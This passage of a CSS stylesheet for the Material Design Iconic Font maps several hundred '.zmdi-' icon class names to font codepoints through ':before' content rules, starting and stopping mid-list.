.zmdi-nfc:before { content: '\f3e1'; } .zmdi-play-for-work:before { content: '\f3e2'; } .zmdi-power-input:before { content: '\f3e3'; } .zmdi-present-to-all:before { content: '\f3e4'; } .zmdi-satellite:before { content: '\f3e5'; } .zmdi-tap-and-play:before { content: '\f3e6'; } .zmdi-vibration:before { content: '\f3e7'; } .zmdi-voicemail:before { content: '\f3e8'; } .zmdi-group:before { content: '\f3e9'; } .zmdi-rss:before { content: '\f3ea'; } .zmdi-shape:before { content: '\f3eb'; } .zmdi-spinner:before { content: '\f3ec'; } .zmdi-ungroup:before { content: '\f3ed'; } .zmdi-500px:before { content: '\f3ee'; } .zmdi-8tracks:before { content: '\f3ef'; } .zmdi-amazon:before { content: '\f3f0'; } .zmdi-blogger:before { content: '\f3f1'; } .zmdi-delicious:before { content: '\f3f2'; } .zmdi-disqus:before { content: '\f3f3'; } .zmdi-flattr:before { content: '\f3f4'; } .zmdi-flickr:before { content: '\f3f5'; } .zmdi-github-alt:before { content: '\f3f6'; } .zmdi-google-old:before { content: '\f3f7'; } .zmdi-linkedin:before { content: '\f3f8'; } .zmdi-odnoklassniki:before { content: '\f3f9'; } .zmdi-outlook:before { content: '\f3fa'; } .zmdi-paypal-alt:before { content: '\f3fb'; } .zmdi-pinterest:before { content: '\f3fc'; } .zmdi-playstation:before { content: '\f3fd'; } .zmdi-reddit:before { content: '\f3fe'; } .zmdi-skype:before { content: '\f3ff'; } .zmdi-slideshare:before { content: '\f400'; } .zmdi-soundcloud:before { content: '\f401'; } .zmdi-tumblr:before { content: '\f402'; } .zmdi-twitch:before { content: '\f403'; } .zmdi-vimeo:before { content: '\f404'; } .zmdi-whatsapp:before { content: '\f405'; } .zmdi-xbox:before { content: '\f406'; } .zmdi-yahoo:before { content: '\f407'; } .zmdi-youtube-play:before { content: '\f408'; } .zmdi-youtube:before { content: '\f409'; } .zmdi-3d-rotation:before { content: '\f101'; } .zmdi-airplane-off:before { content: '\f102'; } .zmdi-airplane:before { content: '\f103'; } .zmdi-album:before { content: '\f104'; } .zmdi-archive:before { content: '\f105'; } .zmdi-assignment-account:before { content: '\f106'; } .zmdi-assignment-alert:before { content: '\f107'; } .zmdi-assignment-check:before { content: '\f108'; } .zmdi-assignment-o:before { content: '\f109'; } .zmdi-assignment-return:before { content: '\f10a'; } .zmdi-assignment-returned:before { content: '\f10b'; } .zmdi-assignment:before { content: '\f10c'; } .zmdi-attachment-alt:before { content: '\f10d'; } .zmdi-attachment:before { content: '\f10e'; } .zmdi-audio:before { content: '\f10f'; } .zmdi-badge-check:before { content: '\f110'; } .zmdi-balance-wallet:before { content: '\f111'; } .zmdi-balance:before { content: '\f112'; } .zmdi-battery-alert:before { content: '\f113'; } .zmdi-battery-flash:before { content: '\f114'; } .zmdi-battery-unknown:before { content: '\f115'; } .zmdi-battery:before { content: '\f116'; } .zmdi-bike:before { content: '\f117'; } .zmdi-block-alt:before { content: '\f118'; } .zmdi-block:before { content: '\f119'; } .zmdi-boat:before { content: '\f11a'; } .zmdi-book-image:before { content: '\f11b'; } .zmdi-book:before { content: '\f11c'; } .zmdi-bookmark-outline:before { content: '\f11d'; } .zmdi-bookmark:before { content: '\f11e'; } .zmdi-brush:before { content: '\f11f'; } .zmdi-bug:before { content: '\f120'; } .zmdi-bus:before { content: '\f121'; } .zmdi-cake:before { content: '\f122'; } .zmdi-car-taxi:before { content: '\f123'; } .zmdi-car-wash:before { content: '\f124'; } .zmdi-car:before { content: '\f125'; } .zmdi-card-giftcard:before { content: '\f126'; } .zmdi-card-membership:before { content: '\f127'; } .zmdi-card-travel:before { content: '\f128'; } .zmdi-card:before { content: '\f129'; } .zmdi-case-check:before { content: '\f12a'; } .zmdi-case-download:before { content: '\f12b'; } .zmdi-case-play:before { content: '\f12c'; } .zmdi-case:before { content: '\f12d'; } .zmdi-cast-connected:before { content: '\f12e'; } .zmdi-cast:before { content: '\f12f'; } .zmdi-chart-donut:before { content: '\f130'; } .zmdi-chart:before { content: '\f131'; } .zmdi-city-alt:before { content: '\f132'; } .zmdi-city:before { content: '\f133'; } .zmdi-close-circle-o:before { content: '\f134'; } .zmdi-close-circle:before { content: '\f135'; } .zmdi-close:before { content: '\f136'; } .zmdi-cocktail:before { content: '\f137'; } .zmdi-code-setting:before { content: '\f138'; } .zmdi-code-smartphone:before { content: '\f139'; } .zmdi-code:before { content: '\f13a'; } .zmdi-coffee:before { content: '\f13b'; } .zmdi-collection-bookmark:before { content: '\f13c'; } .zmdi-collection-case-play:before { content: '\f13d'; } .zmdi-collection-folder-image:before { content: '\f13e'; } .zmdi-collection-image-o:before { content: '\f13f'; } .zmdi-collection-image:before { content: '\f140'; } .zmdi-collection-item-1:before { content: '\f141'; } .zmdi-collection-item-2:before { content: '\f142'; } .zmdi-collection-item-3:before { content: '\f143'; } .zmdi-collection-item-4:before { content: '\f144'; } .zmdi-collection-item-5:before { content: '\f145'; } .zmdi-collection-item-6:before { content: '\f146'; } .zmdi-collection-item-7:before { content: '\f147'; } .zmdi-collection-item-8:before { content: '\f148'; } .zmdi-collection-item-9-plus:before { content: '\f149'; } .zmdi-collection-item-9:before { content: '\f14a'; } .zmdi-collection-item:before { content: '\f14b'; } .zmdi-collection-music:before { content: '\f14c'; } .zmdi-collection-pdf:before { content: '\f14d'; } .zmdi-collection-plus:before { content: '\f14e'; } .zmdi-collection-speaker:before { content: '\f14f'; } .zmdi-collection-text:before { content: '\f150'; } .zmdi-collection-video:before { content: '\f151'; } .zmdi-compass:before { content: '\f152'; } .zmdi-cutlery:before { content: '\f153'; } .zmdi-delete:before { content: '\f154'; } .zmdi-dialpad:before { content: '\f155'; } .zmdi-dns:before { content: '\f156'; } .zmdi-drink:before { content: '\f157'; } .zmdi-edit:before { content: '\f158'; } .zmdi-email-open:before { content: '\f159'; } .zmdi-email:before { content: '\f15a'; } .zmdi-eye-off:before { content: '\f15b'; } .zmdi-eye:before { content: '\f15c'; } .zmdi-eyedropper:before { content: '\f15d'; } .zmdi-favorite-outline:before { content: '\f15e'; } .zmdi-favorite:before { content: '\f15f'; } .zmdi-filter-list:before { content: '\f160'; } .zmdi-fire:before { content: '\f161'; } .zmdi-flag:before { content: '\f162'; } .zmdi-flare:before { content: '\f163'; } .zmdi-flash-auto:before { content: '\f164'; } .zmdi-flash-off:before { content: '\f165'; } .zmdi-flash:before { content: '\f166'; } .zmdi-flip:before { content: '\f167'; } .zmdi-flower-alt:before { content: '\f168'; } .zmdi-flower:before { content: '\f169'; } .zmdi-font:before { content: '\f16a'; } .zmdi-fullscreen-alt:before { content: '\f16b'; } .zmdi-fullscreen-exit:before { content: '\f16c'; } .zmdi-fullscreen:before { content: '\f16d'; } .zmdi-functions:before { content: '\f16e'; } .zmdi-gas-station:before { content: '\f16f'; } .zmdi-gesture:before { content: '\f170'; } .zmdi-globe-alt:before { content: '\f171'; } .zmdi-globe-lock:before { content: '\f172'; } .zmdi-globe:before { content: '\f173'; } .zmdi-graduation-cap:before { content: '\f174'; } .zmdi-home:before { content: '\f175'; } .zmdi-hospital-alt:before { content: '\f176'; } .zmdi-hospital:before { content: '\f177'; } .zmdi-hotel:before { content: '\f178'; } .zmdi-hourglass-alt:before { content: '\f179'; } .zmdi-hourglass-outline:before { content: '\f17a'; } .zmdi-hourglass:before { content: '\f17b'; } .zmdi-http:before { content: '\f17c'; } .zmdi-image-alt:before { content: '\f17d'; } .zmdi-image-o:before { content: '\f17e'; } .zmdi-image:before { content: '\f17f'; } .zmdi-inbox:before { content: '\f180'; } .zmdi-invert-colors-off:before { content: '\f181'; } .zmdi-invert-colors:before { content: '\f182'; } .zmdi-key:before { content: '\f183'; } .zmdi-label-alt-outline:before { content: '\f184'; } .zmdi-label-alt:before { content: '\f185'; } .zmdi-label-heart:before { content: '\f186'; } .zmdi-label:before { content: '\f187'; } .zmdi-labels:before { content: '\f188'; } .zmdi-lamp:before { content: '\f189'; } .zmdi-landscape:before { content: '\f18a'; } .zmdi-layers-off:before { content: '\f18b'; } .zmdi-layers:before { content: '\f18c'; } .zmdi-library:before { content: '\f18d'; } .zmdi-link:before { content: '\f18e'; } .zmdi-lock-open:before { content: '\f18f'; } .zmdi-lock-outline:before { content: '\f190'; } .zmdi-lock:before { content: '\f191'; } .zmdi-mail-reply-all:before { content: '\f192'; } .zmdi-mail-reply:before { content: '\f193'; } .zmdi-mail-send:before { content: '\f194'; } .zmdi-mall:before { content: '\f195'; } .zmdi-map:before { content: '\f196'; } .zmdi-menu:before { content: '\f197'; } .zmdi-money-box:before { content: '\f198'; } .zmdi-money-off:before { content: '\f199'; } .zmdi-money:before { content: '\f19a'; } .zmdi-more-vert:before { content: '\f19b'; } .zmdi-more:before { content: '\f19c'; } .zmdi-movie-alt:before { content: '\f19d'; } .zmdi-movie:before { content: '\f19e'; } .zmdi-nature-people:before { content: '\f19f'; } .zmdi-nature:before { content: '\f1a0'; } .zmdi-navigation:before { content: '\f1a1'; } .zmdi-open-in-browser:before { content: '\f1a2'; } .zmdi-open-in-new:before { content: '\f1a3'; } .zmdi-palette:before { content: '\f1a4'; } .zmdi-parking:before { content: '\f1a5'; } .zmdi-pin-account:before { content: '\f1a6'; } .zmdi-pin-assistant:before { content: '\f1a7'; } .zmdi-pin-drop:before { content: '\f1a8'; } .zmdi-pin-help:before { content: '\f1a9'; } .zmdi-pin-off:before { content: '\f1aa'; } .zmdi-pin:before { content: '\f1ab'; } .zmdi-pizza:before { content: '\f1ac'; } .zmdi-plaster:before { content: '\f1ad'; } .zmdi-power-setting:before { content: '\f1ae'; } .zmdi-power:before { content: '\f1af'; } .zmdi-print:before { content: '\f1b0'; } .zmdi-puzzle-piece:before { content: '\f1b1'; } .zmdi-quote:before { content: '\f1b2'; } .zmdi-railway:before { content: '\f1b3'; } .zmdi-receipt:before { content: '\f1b4'; } .zmdi-refresh-alt:before { content: '\f1b5'; } .zmdi-refresh-sync-alert:before { content: '\f1b6'; } .zmdi-refresh-sync-off:before { content: '\f1b7'; } .zmdi-refresh-sync:before { content: '\f1b8'; } .zmdi-refresh:before { content: '\f1b9'; } .zmdi-roller:before { content: '\f1ba'; } .zmdi-ruler:before { content: '\f1bb'; } .zmdi-scissors:before { content: '\f1bc'; } .zmdi-screen-rotation-lock:before { content: '\f1bd'; } .zmdi-screen-rotation:before { content: '\f1be'; } .zmdi-search-for:before { content: '\f1bf'; } .zmdi-search-in-file:before { content: '\f1c0'; } .zmdi-search-in-page:before { content: '\f1c1'; } .zmdi-search-replace:before { content: '\f1c2'; } .zmdi-search:before { content: '\f1c3'; } .zmdi-seat:before { content: '\f1c4'; } .zmdi-settings-square:before { content: '\f1c5'; } .zmdi-settings:before { content: '\f1c6'; } .zmdi-shield-check:before { content: '\f1c7'; } .zmdi-shield-security:before { content: '\f1c8'; } .zmdi-shopping-basket:before { content: '\f1c9'; } .zmdi-shopping-cart-plus:before { content: '\f1ca'; } .zmdi-shopping-cart:before { content: '\f1cb'; } .zmdi-sign-in:before { content: '\f1cc'; } .zmdi-sort-amount-asc:before { content: '\f1cd'; } .zmdi-sort-amount-desc:before { content: '\f1ce'; } .zmdi-sort-asc:before { content: '\f1cf'; } .zmdi-sort-desc:before { content: '\f1d0'; } .zmdi-spellcheck:before { content: '\f1d1'; } .zmdi-storage:before { content: '\f1d2'; } .zmdi-store-24:before { content: '\f1d3'; } .zmdi-store:before { content: '\f1d4'; } .zmdi-subway:before { content: '\f1d5'; } .zmdi-sun:before { content: '\f1d6'; } .zmdi-tab-unselected:before { content: '\f1d7'; } .zmdi-tab:before { content: '\f1d8'; } .zmdi-tag-close:before { content: '\f1d9'; } .zmdi-tag-more:before { content: '\f1da'; } .zmdi-tag:before { content: '\f1db'; } .zmdi-thumb-down:before { content: '\f1dc'; } .zmdi-thumb-up-down:before { content: '\f1dd'; } .zmdi-thumb-up:before { content: '\f1de'; } .zmdi-ticket-star:before { content: '\f1df'; } .zmdi-toll:before { content: '\f1e0'; } .zmdi-toys:before { content: '\f1e1'; } .zmdi-traffic:before { content: '\f1e2'; } .zmdi-translate:before { content: '\f1e3'; } .zmdi-triangle-down:before { content: '\f1e4'; } .zmdi-triangle-up:before { content: '\f1e5'; } .zmdi-truck:before { content: '\f1e6'; } .zmdi-turning-sign:before { content: '\f1e7'; } .zmdi-wallpaper:before { content: '\f1e8'; } .zmdi-washing-machine:before { content: '\f1e9'; } .zmdi-window-maximize:before { content: '\f1ea'; } .zmdi-window-minimize:before { content: '\f1eb'; } .zmdi-window-restore:before { content: '\f1ec'; } .zmdi-wrench:before { content: '\f1ed'; } .zmdi-zoom-in:before { content: '\f1ee'; } .zmdi-zoom-out:before { content: '\f1ef'; } .zmdi-alert-circle-o:before { content: '\f1f0'; } .zmdi-alert-circle:before { content: '\f1f1'; } .zmdi-alert-octagon:before { content: '\f1f2'; } .zmdi-alert-polygon:before { content: '\f1f3'; } .zmdi-alert-triangle:before { content: '\f1f4'; } .zmdi-help-outline:before { content: '\f1f5'; } .zmdi-help:before { content: '\f1f6'; } .zmdi-info-outline:before { content: '\f1f7'; } .zmdi-info:before { content: '\f1f8'; } .zmdi-notifications-active:before { content: '\f1f9'; } .zmdi-notifications-add:before { content: '\f1fa'; } .zmdi-notifications-none:before { content: '\f1fb'; } .zmdi-notifications-off:before { content: '\f1fc'; } .zmdi-notifications-paused:before { content: '\f1fd'; } .zmdi-notifications:before { content: '\f1fe'; } .zmdi-account-add:before { content: '\f1ff'; } .zmdi-account-box-mail:before { content: '\f200'; } .zmdi-account-box-o:before { content: '\f201'; } .zmdi-account-box-phone:before { content: '\f202'; } .zmdi-account-box:before { content: '\f203'; } .zmdi-account-calendar:before { content: '\f204'; } .zmdi-account-circle:before { content: '\f205'; } .zmdi-account-o:before { content: '\f206'; } .zmdi-account:before { content: '\f207'; } .zmdi-accounts-add:before { content: '\f208'; } .zmdi-accounts-alt:before { content: '\f209'; } .zmdi-accounts-list-alt:before { content: '\f20a'; } .zmdi-accounts-list:before { content: '\f20b'; } .zmdi-accounts-outline:before { content: '\f20c'; } .zmdi-accounts:before { content: '\f20d'; } .zmdi-face:before { content: '\f20e'; } .zmdi-female:before { content: '\f20f'; } .zmdi-male-alt:before { content: '\f210'; } .zmdi-male-female:before { content: '\f211'; } .zmdi-male:before { content: '\f212'; } .zmdi-mood-bad:before { content: '\f213'; } .zmdi-mood:before { content: '\f214'; } .zmdi-run:before { content: '\f215'; } .zmdi-walk:before { content: '\f216'; } .zmdi-cloud-box:before { content: '\f217'; } .zmdi-cloud-circle:before { content: '\f218'; } .zmdi-cloud-done:before { content: '\f219'; } .zmdi-cloud-download:before { content: '\f21a'; } .zmdi-cloud-off:before { content: '\f21b'; } .zmdi-cloud-outline-alt:before { content: '\f21c'; } .zmdi-cloud-outline:before { content: '\f21d'; } .zmdi-cloud-upload:before { content: '\f21e'; } .zmdi-cloud:before { content: '\f21f'; } .zmdi-download:before { content: '\f220'; } .zmdi-file-plus:before { content: '\f221'; } .zmdi-file-text:before { content: '\f222'; } .zmdi-file:before { content: '\f223'; } .zmdi-folder-outline:before { content: '\f224'; } .zmdi-folder-person:before { content: '\f225'; } .zmdi-folder-star-alt:before { content: '\f226'; } .zmdi-folder-star:before { content: '\f227'; } .zmdi-folder:before { content: '\f228'; } .zmdi-gif:before { content: '\f229'; } .zmdi-upload:before { content: '\f22a'; } .zmdi-border-all:before { content: '\f22b'; } .zmdi-border-bottom:before { content: '\f22c'; } .zmdi-border-clear:before { content: '\f22d'; } .zmdi-border-color:before { content: '\f22e'; } .zmdi-border-horizontal:before { content: '\f22f'; } .zmdi-border-inner:before { content: '\f230'; } .zmdi-border-left:before { content: '\f231'; } .zmdi-border-outer:before { content: '\f232'; } .zmdi-border-right:before { content: '\f233'; } .zmdi-border-style:before { content: '\f234'; } .zmdi-border-top:before { content: '\f235'; } .zmdi-border-vertical:before { content: '\f236'; } .zmdi-copy:before { content: '\f237'; } .zmdi-crop:before { content: '\f238'; } .zmdi-format-align-center:before { content: '\f239'; } .zmdi-format-align-justify:before { content: '\f23a'; } .zmdi-format-align-left:before { content: '\f23b'; } .zmdi-format-align-right:before { content: '\f23c'; } .zmdi-format-bold:before { content: '\f23d'; } .zmdi-format-clear-all:before { content: '\f23e'; } .zmdi-format-clear:before { content: '\f23f'; } .zmdi-format-color-fill:before { content: '\f240'; } .zmdi-format-color-reset:before { content: '\f241'; } .zmdi-format-color-text:before { content: '\f242'; } .zmdi-format-indent-decrease:before { content: '\f243'; } .zmdi-format-indent-increase:before { content: '\f244'; } .zmdi-format-italic:before { content: '\f245'; } .zmdi-format-line-spacing:before { content: '\f246'; } .zmdi-format-list-bulleted:before { content: '\f247'; } .zmdi-format-list-numbered:before { content: '\f248'; } .zmdi-format-ltr:before { content: '\f249'; } .zmdi-format-rtl:before { content: '\f24a'; } .zmdi-format-size:before { content: '\f24b'; } .zmdi-format-strikethrough-s:before { content: '\f24c'; } .zmdi-format-strikethrough:before { content: '\f24d'; } .zmdi-format-subject:before { content: '\f24e'; } .zmdi-format-underlined:before { content: '\f24f'; } .zmdi-format-valign-bottom:before { content: '\f250'; } .zmdi-format-valign-center:before { content: '\f251'; } .zmdi-format-valign-top:before { content: '\f252'; } .zmdi-redo:before { content: '\f253'; } .zmdi-select-all:before { content: '\f254'; } .zmdi-space-bar:before { content: '\f255'; } .zmdi-text-format:before { content: '\f256'; } .zmdi-transform:before { content: '\f257'; } .zmdi-undo:before { content: '\f258'; } .zmdi-wrap-text:before { content: '\f259'; } .zmdi-comment-alert:before { content: '\f25a'; } .zmdi-comment-alt-text:before { content: '\f25b'; } .zmdi-comment-alt:before { content: '\f25c'; } .zmdi-comment-edit:before { content: '\f25d'; } .zmdi-comment-image:before { content: '\f25e'; } .zmdi-comment-list:before { content: '\f25f'; } .zmdi-comment-more:before { content: '\f260'; } .zmdi-comment-outline:before { content: '\f261'; } .zmdi-comment-text-alt:before { content: '\f262'; } .zmdi-comment-text:before { content: '\f263'; } .zmdi-comment-video:before { content: '\f264'; } .zmdi-comment:before { content: '\f265'; } .zmdi-comments:before { content: '\f266'; } .zmdi-check-all:before { content: '\f267'; } .zmdi-check-circle-u:before { content: '\f268'; } .zmdi-check-circle:before { content: '\f269'; } .zmdi-check-square:before { content: '\f26a'; } .zmdi-check:before { content: '\f26b'; } .zmdi-circle-o:before { content: '\f26c'; } .zmdi-circle:before { content: '\f26d'; } .zmdi-dot-circle-alt:before { content: '\f26e'; } .zmdi-dot-circle:before { content: '\f26f'; } .zmdi-minus-circle-outline:before { content: '\f270'; } .zmdi-minus-circle:before { content: '\f271'; } .zmdi-minus-square:before { content: '\f272'; } .zmdi-minus:before { content: '\f273'; } .zmdi-plus-circle-o-duplicate:before { content: '\f274'; } .zmdi-plus-circle-o:before { content: '\f275'; } .zmdi-plus-circle:before { content: '\f276'; } .zmdi-plus-square:before { content: '\f277'; } .zmdi-plus:before { content: '\f278'; } .zmdi-square-o:before { content: '\f279'; } .zmdi-star-circle:before { content: '\f27a'; } .zmdi-star-half:before { content: '\f27b'; } .zmdi-star-outline:before { content: '\f27c'; } .zmdi-star:before { content: '\f27d'; } .zmdi-bluetooth-connected:before { content: '\f27e'; } .zmdi-bluetooth-off:before { content: '\f27f'; } .zmdi-bluetooth-search:before { content: '\f280'; } .zmdi-bluetooth-setting:before { content: '\f281'; } .zmdi-bluetooth:before { content: '\f282'; } .zmdi-camera-add:before { content: '\f283'; } .zmdi-camera-alt:before { content: '\f284'; } .zmdi-camera-bw:before { content: '\f285'; } .zmdi-camera-front:before { content: '\f286'; } .zmdi-camera-mic:before { content: '\f287'; } .zmdi-camera-party-mode:before { content: '\f288'; } .zmdi-camera-rear:before { content: '\f289'; } .zmdi-camera-roll:before { content: '\f28a'; } .zmdi-camera-switch:before { content: '\f28b'; } .zmdi-camera:before { content: '\f28c'; } .zmdi-card-alert:before { content: '\f28d'; } .zmdi-card-off:before { content: '\f28e'; } .zmdi-card-sd:before { content: '\f28f'; } .zmdi-card-sim:before { content: '\f290'; } .zmdi-desktop-mac:before { content: '\f291'; } .zmdi-desktop-windows:before { content: '\f292'; } .zmdi-device-hub:before { content: '\f293'; } .zmdi-devices-off:before { content: '\f294'; } .zmdi-devices:before { content: '\f295'; } .zmdi-dock:before { content: '\f296'; } .zmdi-floppy:before { content: '\f297'; } .zmdi-gamepad:before { content: '\f298'; } .zmdi-gps-dot:before { content: '\f299'; } .zmdi-gps-off:before { content: '\f29a'; } .zmdi-gps:before { content: '\f29b'; } .zmdi-headset-mic:before { content: '\f29c'; } .zmdi-headset:before { content: '\f29d'; } .zmdi-input-antenna:before { content: '\f29e'; } .zmdi-input-composite:before { content: '\f29f'; } .zmdi-input-hdmi:before { content: '\f2a0'; } .zmdi-input-power:before { content: '\f2a1'; } .zmdi-input-svideo:before { content: '\f2a2'; } .zmdi-keyboard-hide:before { content: '\f2a3'; } .zmdi-keyboard:before { content: '\f2a4'; } .zmdi-laptop-chromebook:before { content: '\f2a5'; } .zmdi-laptop-mac:before { content: '\f2a6'; } .zmdi-laptop:before { content: '\f2a7'; } .zmdi-mic-off:before { content: '\f2a8'; } .zmdi-mic-outline:before { content: '\f2a9'; } .zmdi-mic-setting:before { content: '\f2aa'; } .zmdi-mic:before { content: '\f2ab'; } .zmdi-mouse:before { content: '\f2ac'; } .zmdi-network-alert:before { content: '\f2ad'; } .zmdi-network-locked:before { content: '\f2ae'; } .zmdi-network-off:before { content: '\f2af'; } .zmdi-network-outline:before { content: '\f2b0'; } .zmdi-network-setting:before { content: '\f2b1'; } .zmdi-network:before { content: '\f2b2'; } .zmdi-phone-bluetooth:before { content: '\f2b3'; } .zmdi-phone-end:before { content: '\f2b4'; } .zmdi-phone-forwarded:before { content: '\f2b5'; } .zmdi-phone-in-talk:before { content: '\f2b6'; } .zmdi-phone-locked:before { content: '\f2b7'; } .zmdi-phone-missed:before { content: '\f2b8'; } .zmdi-phone-msg:before { content: '\f2b9'; } .zmdi-phone-paused:before { content: '\f2ba'; } .zmdi-phone-ring:before { content: '\f2bb'; } .zmdi-phone-setting:before { content: '\f2bc'; } .zmdi-phone-sip:before { content: '\f2bd'; } .zmdi-phone:before { content: '\f2be'; } .zmdi-portable-wifi-changes:before { content: '\f2bf'; } .zmdi-portable-wifi-off:before { content: '\f2c0'; } .zmdi-portable-wifi:before { content: '\f2c1'; } .zmdi-radio:before { content: '\f2c2'; } .zmdi-reader:before { content: '\f2c3'; } .zmdi-remote-control-alt:before { content: '\f2c4'; } .zmdi-remote-control:before { content: '\f2c5'; } .zmdi-router:before { content: '\f2c6'; } .zmdi-scanner:before { content: '\f2c7'; } .zmdi-smartphone-android:before { content: '\f2c8'; } .zmdi-smartphone-download:before { content: '\f2c9'; } .zmdi-smartphone-erase:before { content: '\f2ca'; } .zmdi-smartphone-info:before { content: '\f2cb'; } .zmdi-smartphone-iphone:before { content: '\f2cc'; } .zmdi-smartphone-landscape-lock:before { content: '\f2cd'; } .zmdi-smartphone-landscape:before { content: '\f2ce'; } .zmdi-smartphone-lock:before { content: '\f2cf'; } .zmdi-smartphone-portrait-lock:before { content: '\f2d0'; } .zmdi-smartphone-ring:before { content: '\f2d1'; } .zmdi-smartphone-setting:before { content: '\f2d2'; } .zmdi-smartphone-setup:before { content: '\f2d3'; } .zmdi-smartphone:before { content: '\f2d4'; } .zmdi-speaker:before { content: '\f2d5'; } .zmdi-tablet-android:before { content: '\f2d6'; } .zmdi-tablet-mac:before { content: '\f2d7'; } .zmdi-tablet:before { content: '\f2d8'; } .zmdi-tv-alt-play:before { content: '\f2d9'; } .zmdi-tv-list:before { content: '\f2da'; } .zmdi-tv-play:before { content: '\f2db'; } .zmdi-tv:before { content: '\f2dc'; } .zmdi-usb:before { content: '\f2dd'; } .zmdi-videocam-off:before { content: '\f2de'; } .zmdi-videocam-switch:before { content: '\f2df'; } .zmdi-videocam:before { content: '\f2e0'; } .zmdi-watch:before { content: '\f2e1'; } .zmdi-wifi-alt-2:before { content: '\f2e2'; } .zmdi-wifi-alt:before { content: '\f2e3'; } .zmdi-wifi-info:before { content: '\f2e4'; } .zmdi-wifi-lock:before { content: '\f2e5'; } .zmdi-wifi-off:before { content: '\f2e6'; } .zmdi-wifi-outline:before { content: '\f2e7'; } .zmdi-wifi:before { content: '\f2e8'; } .zmdi-arrow-left-bottom:before { content: '\f2e9'; } .zmdi-arrow-left:before { content: '\f2ea'; } .zmdi-arrow-merge:before { content: '\f2eb'; } .zmdi-arrow-missed:before { content: '\f2ec'; } .zmdi-arrow-right-top:before { content: '\f2ed'; } .zmdi-arrow-right:before { content: '\f2ee'; } .zmdi-arrow-split:before { content: '\f2ef'; } .zmdi-arrows:before { content: '\f2f0'; } .zmdi-caret-down-circle:before { content: '\f2f1'; } .zmdi-caret-down:before { content: '\f2f2'; } .zmdi-caret-left-circle:before { content: '\f2f3'; } .zmdi-caret-left:before { content: '\f2f4'; } .zmdi-caret-right-circle:before { content: '\f2f5'; } .zmdi-caret-right:before { content: '\f2f6'; } .zmdi-caret-up-circle:before { content: '\f2f7'; } .zmdi-caret-up:before { content: '\f2f8'; } .zmdi-chevron-down:before { content: '\f2f9'; } .zmdi-chevron-left:before { content: '\f2fa'; } .zmdi-chevron-right:before { content: '\f2fb'; } .zmdi-chevron-up:before { content: '\f2fc'; } .zmdi-forward:before { content: '\f2fd'; } .zmdi-long-arrow-down:before { content: '\f2fe'; } .zmdi-long-arrow-left:before { content: '\f2ff'; } .zmdi-long-arrow-return:before { content: '\f300'; } .zmdi-long-arrow-right:before { content: '\f301'; } .zmdi-long-arrow-tab:before { content: '\f302'; } .zmdi-long-arrow-up:before { content: '\f303'; } .zmdi-rotate-ccw:before { content: '\f304'; } .zmdi-rotate-cw:before { content: '\f305'; } .zmdi-rotate-left:before { content: '\f306'; } .zmdi-rotate-right:before { content: '\f307'; } .zmdi-square-down:before { content: '\f308'; } .zmdi-square-right:before { content: '\f309'; } .zmdi-swap-alt:before { content: '\f30a'; } .zmdi-swap-vertical-circle:before { content: '\f30b'; } .zmdi-swap-vertical:before { content: '\f30c'; } .zmdi-swap:before { content: '\f30d'; } .zmdi-trending-down:before { content: '\f30e'; } .zmdi-trending-flat:before { content: '\f30f'; } .zmdi-trending-up:before { content: '\f310'; } .zmdi-unfold-less:before { content: '\f311'; } .zmdi-unfold-more:before { content: '\f312'; } .zmdi-apps:before { content: '\f313'; } .zmdi-grid-off:before { content: '\f314'; } .zmdi-grid:before { content: '\f315'; } .zmdi-view-agenda:before { content: '\f316'; } .zmdi-view-array:before { content: '\f317'; } .zmdi-view-carousel:before { content: '\f318'; } .zmdi-view-column:before { content: '\f319'; } .zmdi-view-comfy:before { content: '\f31a'; } .zmdi-view-compact:before { content: '\f31b'; } .zmdi-view-dashboard:before { content: '\f31c'; } .zmdi-view-day:before { content: '\f31d'; } .zmdi-view-headline:before { content: '\f31e'; } .zmdi-view-list-alt:before { content: '\f31f'; } .zmdi-view-list:before { content: '\f320'; } .zmdi-view-module:before { content: '\f321'; } .zmdi-view-quilt:before { content: '\f322'; } .zmdi-view-stream:before { content: '\f323'; } .zmdi-view-subtitles:before { content: '\f324'; } .zmdi-view-toc:before { content: '\f325'; } .zmdi-view-web:before { content: '\f326'; } .zmdi-view-week:before { content: '\f327'; } .zmdi-widgets:before { content: '\f328'; } .zmdi-alarm-check:before { content: '\f329'; } .zmdi-alarm-off:before { content: '\f32a'; } .zmdi-alarm-plus:before { content: '\f32b'; } .zmdi-alarm-snooze:before { content: '\f32c'; } .zmdi-alarm:before { content: '\f32d'; } .zmdi-calendar-alt:before { content: '\f32e'; } .zmdi-calendar-check:before { content: '\f32f'; } .zmdi-calendar-close:before { content: '\f330'; } .zmdi-calendar-note:before { content: '\f331'; } .zmdi-calendar:before { content: '\f332'; } .zmdi-time-countdown:before { content: '\f333'; } .zmdi-time-interval:before { content: '\f334'; } .zmdi-time-restore-setting:before { content: '\f335'; } .zmdi-time-restore:before { content: '\f336'; } .zmdi-time:before { content: '\f337'; } .zmdi-timer-off:before { content: '\f338'; } .zmdi-timer:before { content: '\f339'; } .zmdi-android-alt:before { content: '\f33a'; } .zmdi-android:before { content: '\f33b'; } .zmdi-apple:before { content: '\f33c'; } .zmdi-behance:before { content: '\f33d'; } .zmdi-codepen:before { content: '\f33e'; } .zmdi-dribbble:before { content: '\f33f'; } .zmdi-dropbox:before { content: '\f340'; } .zmdi-evernote:before { content: '\f341'; } .zmdi-facebook-box:before { content: '\f342'; } .zmdi-facebook:before { content: '\f343'; } .zmdi-github-box:before { content: '\f344'; } .zmdi-github:before { content: '\f345'; } .zmdi-google-drive:before { content: '\f346'; } .zmdi-google-earth:before { content: '\f347'; } .zmdi-google-glass:before { content: '\f348'; } .zmdi-google-maps:before { content: '\f349'; } .zmdi-google-pages:before { content: '\f34a'; } .zmdi-google-play:before { content: '\f34b'; } .zmdi-google-plus-box:before { content: '\f34c'; } .zmdi-google-plus:before { content: '\f34d'; } .zmdi-google:before { content: '\f34e'; } .zmdi-instagram:before { content: '\f34f'; } .zmdi-language-css3:before { content: '\f350'; } .zmdi-language-html5:before { content: '\f351'; } .zmdi-language-javascript:before { content: '\f352'; } .zmdi-language-python-alt:before { content: '\f353'; } .zmdi-language-python:before { content: '\f354'; } .zmdi-lastfm:before { content: '\f355'; } .zmdi-linkedin-box:before { content: '\f356'; } .zmdi-paypal:before { content: '\f357'; } .zmdi-pinterest-box:before { content: '\f358'; } .zmdi-pocket:before { content: '\f359'; } .zmdi-polymer:before { content: '\f35a'; } .zmdi-share:before { content: '\f35b'; } .zmdi-stackoverflow:before { content: '\f35c'; } .zmdi-steam-square:before { content: '\f35d'; } .zmdi-steam:before { content: '\f35e'; } .zmdi-twitter-box:before { content: 